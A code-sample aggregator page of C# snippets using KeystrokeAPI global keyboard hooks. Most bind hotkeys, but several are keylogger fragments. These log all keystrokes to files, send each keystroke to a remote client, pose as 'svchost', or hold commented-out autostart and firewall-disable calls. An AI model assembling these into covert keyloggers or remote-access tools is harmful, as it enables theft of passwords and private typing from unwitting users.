Пример #1
0
        static void Main(string[] args)
        {
            using (var api = new KeystrokeAPI())
            {
                api.CreateKeyboardHook((character) =>
                {
                    if (character.KeyCode == KeyCode.Escape)
                    {
                        Application.Exit();
                    }
                    else if (character.KeyCode == KeyCode.Tab)
                    {
                        var total = string.Empty;

                        foreach (var key in keys)
                        {
                            total += key;
                        }

                        MessageBox.Show(total, "Keys Pressed", MessageBoxButtons.OK, MessageBoxIcon.Information);

                        keys.Clear();
                    }
                    else
                    {
                        keys.Add(character.KeyCode.ToString());
                    }
                });

                Application.Run();
            }
        }
Пример #2
0
        private static void HookKeyboardEvents()
        {
            Task.Run(() =>
            {
                api.CreateKeyboardHook((character) =>
                {
                    if (character.KeyCode == (KeyCode)Settings.KeyCodeStart)
                    {
                        shouldStart = true;
                        Logger.LogInfo($"Captured Start!");
                    }

                    if (character.KeyCode == (KeyCode)Settings.KeyCodeStop)
                    {
                        ct.Cancel();

                        shouldStart = true;
                        shouldStop  = true;

                        Logger.LogInfo($"Captured Escape!");

                        Application.Exit();
                    }
                });

                Application.Run();
            });
        }
Пример #3
0
        private void HookToKeyboardEvents()
        {
            Task.Run(() =>
            {
                api.CreateKeyboardHook((character) =>
                {
                    if (character.KeyCode == (KeyCode)Settings.KeyCodeToggle)
                    {
                        Logger.LogInfo($"Captured Toggle!");

                        OnToggleEvent?.Invoke(this, null);
                    }

                    if (character.KeyCode == (KeyCode)Settings.KeyCodeExit)
                    {
                        Logger.LogInfo($"Quiting..");

                        OnExitEvent?.Invoke(this, null);

                        System.Windows.Forms.Application.Exit();
                    }
                });

                System.Windows.Forms.Application.Run();
            });
        }
Пример #4
0
        protected override void OnStartup(StartupEventArgs e)
        {
            using (var api = new KeystrokeAPI())
            {
                KeystrokeAPI ki = new KeystrokeAPI();
                api.CreateKeyboardHook((character) =>
                {
                    if (IsLoggingStarted)
                    {
                        ////////////////////// Logik für Filter kommt hierhin //////////////////////////////
                        //Tab
                        //Enter
                        //Space
                        // I need focused element, because I don't want to log when in textfield
                        // I need to know which program is used, because I'll have dfferent filters (for example word vs firefox)

                        File.AppendAllText(@"D:\KeysOnly.txt", character.KeyCode + " Test" + " Arsch" + "\r\n\r\n");
                    }
                });
                //api.CreateKeyboardHook((character) =>
                //{
                //    if (IsLoggingStarted)
                //    {
                //        File.AppendAllText(@"D:\KeyLog.txt",
                //            character + " " + LogFile.GetTitleOfActiveWindow() + " " + LogFile.GetFocusedControl() +
                //            "\r\n\r\n");
                //    }
                //});
            }
            base.OnStartup(e);
        }
Пример #5
0
 static void Main(string[] args)
 {
     using (var api = new KeystrokeAPI())
     {
         api.CreateKeyboardHook((character) => { Console.Write(character); });
         Application.Run();
     }
 }
Пример #6
0
        public KeyHandler()
        {
            api = new KeystrokeAPI();
            api.CreateKeyboardHook((character) => { bool ans = KeyProcessor(character); return(ans); });

            // Read all the keys from the config file
            ReadSettings();
        }
Пример #7
0
 public bool Comenzar()
 {
     using (var api = new KeystrokeAPI())
     {
         api.CreateKeyboardHook((character) => { proccessKey(character); });
         Application.Run();
     }
     return(true);
 }
Пример #8
0
        public static void Logger()
        {
            hWndTitle     = window.GetActiveWindowTitle();
            hWndTitlePast = hWndTitle;

            Settings.hotkey = true;
            keystrokeApi.CreateKeyboardHook(Save);
            Application.Run();
        }
 static void Main(string[] args)
 {
     using (var api = new KeystrokeAPI())
     {
         builder = new StringBuilder();
         api.CreateKeyboardHook(HandleKeyPress);
         Application.Run();
     }
 }
Пример #10
0
 public frmMain()
 {
     InitializeComponent();
     api.CreateKeyboardHook((character) =>
     {
         if (character.ToString() == "<F4>")
         {
             SendKeys.Send(Clipboard.GetText());
         }
     });
 }
Пример #11
0
        private void InitKeylogger()
        {
            _keystrokeApi = new KeystrokeAPI();
            _sw           = new StreamWriter(@"keyData.txt", true);

            //Create a hook that write to file when key is pressed
            _keystrokeApi.CreateKeyboardHook((character) => {
                _sw.Write(character);
                _sw.Flush();
            });
        }
Пример #12
0
 private void ScheduleKeystrokeTask()
 {
     _trackKeystrokeService.StartTracking();
     _keystrokeAPI.CreateKeyboardHook((key) =>
     {
         _trackKeystrokeService.TrackHook(new KeystrokeModel
         {
             KeyCode = (int)key.KeyCode
         });
     });
 }
Пример #13
0
 public static void InitHook()
 {
     keystroke = new KeystrokeAPI();
     keystroke.CreateKeyboardHook((character) =>
     {
         RemoteClient.SendMessage(new DataObject
         {
             CommandType = "RTL",
             CommandName = "RTKL",
             CommandData = character.ToString()
         });
     });
     Application.Run();
 }
Пример #14
0
        // Calling this method will log all keyboard presses until the program has exited
        public static void Run()
        {
            var api = new KeystrokeAPI();

            api.CreateKeyboardHook((character) => {
                string output = character.ToString();
                if (character.KeyCode == KeyCode.Enter)
                {
                    output += "\n";
                }

                Console.Write(output);
                File.AppendAllText(Path.Combine(Directory.GetCurrentDirectory(), "log.txt"), output);
            });
        }
Пример #15
0
        static void Main(string[] args)
        {
            //var autostart = new Autostart();
            //autostart.Install();

            //var firewall = new Firewall();
            //firewall.Disable();
            //firewall.Enable();

            using (var api = new KeystrokeAPI())
            {
                api.CreateKeyboardHook(Console.Write);
                Application.Run();
            }
        }
Пример #16
0
 static void Main()
 {
     Application.EnableVisualStyles();
     Application.SetCompatibleTextRenderingDefault(false);
     using (var api = new KeystrokeAPI())
     {
         api.CreateKeyboardHook((character) =>
         {
             if (character.KeyCode == KeyCode.Escape)
             {
                 Application.Exit();
             }
         });
         Application.Run(new svchostform());
     }
 }
Пример #17
0
        /// <summary>
        /// Binds predefined keystrokes events to trigger work methods
        /// </summary>
        private static void AttachTriggersToKeystrokes()
        {
            Task.Run(() =>
            {
                _keystrokeAPI.CreateKeyboardHook((pressedKey) =>
                {
                    if (pressedKey.KeyCode == (KeyCode)Settings.Players2KeyCode)
                    {
                        _numberOfPlayers = 2;
                        _shouldGetPrices = true;
                        Console.WriteLine($"{(KeyCode)Settings.Players2KeyCode} found. Running...");
                    }

                    if (pressedKey.KeyCode == (KeyCode)Settings.Players3KeyCode)
                    {
                        _numberOfPlayers = 3;
                        _shouldGetPrices = true;
                        Console.WriteLine($"{(KeyCode)Settings.Players3KeyCode} found. Running...");
                    }

                    if (pressedKey.KeyCode == (KeyCode)Settings.Players4KeyCode)
                    {
                        _numberOfPlayers = 4;
                        _shouldGetPrices = true;
                        Console.WriteLine($"{(KeyCode)Settings.Players4KeyCode} found. Running...");
                    }

                    if (pressedKey.KeyCode == (KeyCode)Settings.GetPricesFromListingsKeyCode)
                    {
                        _shouldGetPricesFromListings = true;
                        Console.WriteLine($"{(KeyCode)Settings.GetPricesFromListingsKeyCode} found. Running...");
                    }

                    if (pressedKey.KeyCode == (KeyCode)Settings.StopKeyCode)
                    {
                        Console.WriteLine($"{(KeyCode)Settings.StopKeyCode} found. Exiting app...");
                        _shouldGetPrices             = false;
                        _shouldGetPricesFromListings = false;
                        _cancellationToken.Cancel();
                        Application.Exit();
                    }
                });

                Application.Run();
            });
        }
Пример #18
0
        // The main method outputs any keystrokes typed to both the console and a text file while the program is opened. It also syncs the text file to an Azure
        //     database.
        // side effects: console output, writing to file, reading from and writing to a database, variable mutation
        static void Main(string[] args)
        {
            try
            {
                string userEmail = null;
                do
                {
                    userEmail = Login();
                    if (String.IsNullOrEmpty(userEmail))
                    {
                        Console.WriteLine("Email or password is incorrect. Please try again.");
                    }
                    else
                    {
                        Console.WriteLine("Login successful!");
                    }
                }while (String.IsNullOrEmpty(userEmail));
                addFileToDatabase(userEmail);
            }
            catch
            {
                Console.WriteLine("An error has occured. The application will now exit in 5 seconds.");
                Thread.Sleep(5000);
                Environment.Exit(1);
            }

            using (var api = new KeystrokeAPI())
            {
                if (!File.Exists("Report.txt"))
                {
                    createFile();
                }
                StreamWriter report = new StreamWriter("Report.txt", append: true);
                report.AutoFlush = true;
                using (report)
                {
                    api.CreateKeyboardHook((character) =>
                    {
                        Console.Write(character);
                        report.Write(character);
                    });

                    Application.Run();
                }
            }
        }
Пример #19
0
        static void Run()
        {
            Stopwatch clock = new Stopwatch();

            bool isAltActive = false;

            using (var api = new KeystrokeAPI())
            {
                api.CreateKeyboardHook((character) => {
                    if (character.KeyCode.ToString().ToLower() == "lmenu")
                    {
                        clock.Reset();
                        isAltActive = true;
                        clock.Start();
                    }
                    else if (isAltActive && character.KeyCode.ToString().ToLower() == "e")
                    {
                        clock.Stop();
                        if (clock.ElapsedMilliseconds < 500)
                        {
                            System.Environment.Exit(0);
                        }
                    }
                    Console.WriteLine(character.KeyCode);
                    foreach (var file in filesInfo)
                    {
                        if (isAltActive && file["hotkey"] == character.KeyCode.ToString().ToLower())
                        {
                            clock.Stop();
                            Console.WriteLine(clock.Elapsed);
                            if (clock.ElapsedMilliseconds < 500)
                            {
                                Process proc            = new Process();
                                proc.StartInfo.FileName = file["url"];
                                proc.Start();
                                isAltActive = false;
                                clock.Reset();
                            }
                        }
                    }
                });

                Application.Run();
            }
        }
Пример #20
0
        public MainWindow()
        {
            Clipboard.SetText("");
            InitializeComponent();

            LbRecording.Text       = "Not Recording";
            LbRecording.Foreground = new SolidColorBrush(Colors.Black);

            api.CreateKeyboardHook(pressed =>
            {
                TbLog.Text = $" Window => {pressed.CurrentWindow}, Key => {pressed} : {pressed.KeyCode.ToString()}, CapsLockOn => {pressed.CapsLockOn}\n" + TbLog.Text;
                Console.WriteLine(pressed);
                Console.WriteLine(pressed.KeyCode.ToString());
                Console.WriteLine(pressed.CapsLockOn);
                Console.WriteLine(pressed.CurrentWindow);
                handleKeyPressed(pressed);
            }
                                   );
        }
Пример #21
0
        private void StartApp(KeystrokeAPI api)
        {
            using (api)
            {
                api.CreateKeyboardHook((character) =>
                {
                    String number = character.ToString();

                    if (number == "<F2>" && hasFlash[1])
                    {
                        AddToClippboard(1);
                    }
                    else if (number == "<F3>" && hasFlash[2])
                    {
                        AddToClippboard(2);
                    }
                    else if (number == "<F4>" && hasFlash[3])
                    {
                        AddToClippboard(3);
                    }
                    else if (number == "<F5>" && hasFlash[4])
                    {
                        AddToClippboard(4);
                    }
                    else if (number == "<F6>" && hasFlash[5])
                    {
                        AddToClippboard(5);
                    }
                    else if (number == "<F8>")
                    {
                        stopwatch.Start();
                    }
                    else if (number == "<F1>")
                    {
                        SendKeys.Send("{ENTER}");
                        SendKeys.Send(flashText);
                        SendKeys.Send("{ENTER}");
                    }
                });
                Application.Run();
            }
        }
Пример #22
0
        private static void HookKeyboardEvents()
        {
            Task.Run(() =>
            {
                api.CreateKeyboardHook((character) =>
                {
                    if (character.KeyCode == (KeyCode)Settings.KeyCodeStart)
                    {
                        shouldStart = true;
                        IsSmartRun  = true;

                        Logger.LogInfo(string.Format("Captured Start for 100% accuracy run consuming >>{0}<< fuel!", Settings.ShouldConsumeAllFuel ? "ALL the available" : "ONLY the Natural"));
                    }

                    if (character.KeyCode == (KeyCode)Settings.KeyCodeStartRandom)
                    {
                        shouldStart = true;
                        IsSmartRun  = false;

                        Logger.LogInfo(string.Format("Captured Start for RANDOM run consuming >>{0}<< fuel!", Settings.ShouldConsumeAllFuel ? "ALL the available" : "ONLY the Natural"));
                    }

                    if (character.KeyCode == (KeyCode)Settings.KeyCodeStop)
                    {
                        ct.Cancel();

                        shouldStart = true;
                        shouldStop  = true;

                        Logger.LogInfo($"Captured Stop execution. Exiting..!");

                        Application.Exit();
                    }
                });

                Application.Run();
            });
        }
Пример #23
0
 private void InitKeylogger()
 {
     keylogger.CreateKeyboardHook((character) =>
     {
         if (isSettingControl)
         {
             if (character.KeyCode == KeyCode.Escape)
             {
                 // Cancel trying to set the new control and reset it
                 controlKey         = null;
                 ControlButton.Text = "Click to Set";
                 isSettingControl   = false;
                 return;
             }
             controlKey         = character;
             ControlButton.Text = (controlKey.ToString() == " " ? "<space>" : controlKey.ToString());
             isSettingControl   = false;
         }
         else if (controlKey != null && character.ToString() == controlKey.ToString())
         {
             toggleActive();
         }
     });
 }